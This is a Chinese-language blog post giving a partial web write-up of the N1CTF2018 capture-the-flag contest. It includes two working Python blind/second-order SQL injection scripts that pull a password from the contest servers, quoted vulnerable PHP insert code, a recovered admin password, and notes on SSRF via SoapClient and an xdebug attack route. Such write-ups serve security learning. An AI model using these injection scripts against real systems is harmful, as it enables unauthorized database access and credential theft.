p0's blog | 破 关注网络安全
N1CTF2018-部分Web-WriteUp
发表于: | 分类: CTF | 评论:0 | 阅读: 2180

表示又水了一把

7777 & 7777 2

两个都是二次注入,过滤字符不同,也有人直接利用盲注,解法应该很多吧

思路就是想办法把hi转为整型,和传入的flag值相加就可以了,也没截图,直接附上脚本吧。

sql1.py

# -*- coding: utf-8 -*-
import requests
import re

url = 'http://47.97.168.223/'
def check(payload):
    postdata = {'flag':'0','hi':payload}
    r = requests.post(url, postdata).content
    t = re.findall('<grey>My Points</grey> | (\d+)<br/>',r)
    return t[1]

password  = ''
for i in xrange(1,100):
    payload = '+(select ord(mid((select a.password from (select c.password from users c) a),%d,1)))' % i
    
    try:
        t = check(payload)
        while t == '0':
            t = check(payload)
        password += chr(int(t))
        print password
    except:
        print payload

sql2.py

# -*- coding: utf-8 -*-
import requests
import re

url = 'http://47.52.137.90:20000/'
def check(payload):
    postdata = {'flag':'0','hi':payload}
    r = requests.post(url, postdata).content
    t = re.findall('<grey>My Points</grey> | (\d+)<br/>',r)
    return t[1]

password  = ''
p0 = '1'
for i in xrange(1,100):
    payload = '+(select conv(hex(SUBSTR((select a.pw from (select c.pw from users c) a),%s,1)),16,10))' % p0
    
    try:
        t = check(payload)
        if t == '0':
            continue
        password += chr(int(t))
        print password
    except:
        print payload
        break
    p0 += '+1'

easy/header php (未完成)

可以直接获取所有源码:

user.php

function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }

POST传入的signature,跟进insert函数:

config.php

public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

正则把`替换成了',引入了引号,造成注入。

利用的话,可以一直盲注,但是效率太慢了,然而二次注入的话后面mood字段应该是序列化的字符串,也不会有回显,想要回显的话就只能插入多条,再注册一个账号,通过盲注获取该账号的userid:

可以确定p0p0p0用户的userid是100,然后二次注入,将数据插到p0p0p0用户下:

获取到管理员密码:

nu1ladmin

但是需要127.0.0.1去登录(没截图),并且ip不能伪造:

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

根据提示,需要找一处ssrf,正常代码审计并没发现ssrf,查看phpinfo:

发现soap这个东西。并没有找到Soapclient类的源码,现查手册-.-

思路很明确,就是拿着你的session,去做一下admin的登录,翻了半天手册,大概构造出来这样的payload:

发出去的ssrf请求是这样的:

本以为ok了,but这样并不能够获取到$_POST[username]$_POST[password],瞬间陷入绝望,就搞到这里了,好像是可以利用CRLF,希望大佬指点一下2333。

后面的话,过滤了/导致js标记不可用。clean_danger.sh是这样写的cd /app/adminpic/ rm *.jpg

就可以绕过了

最后是通过xdebug远程调试搞出来的,非预期吧,所以出了header php

关于xdebug远程调试:

https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface

WHCTF出过

funning eating cms

xdebug解出来,看了源码也没去推敲正常解法

溜了溜了


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/118/
来源:https://p0sec.net/

添加新评论

TOP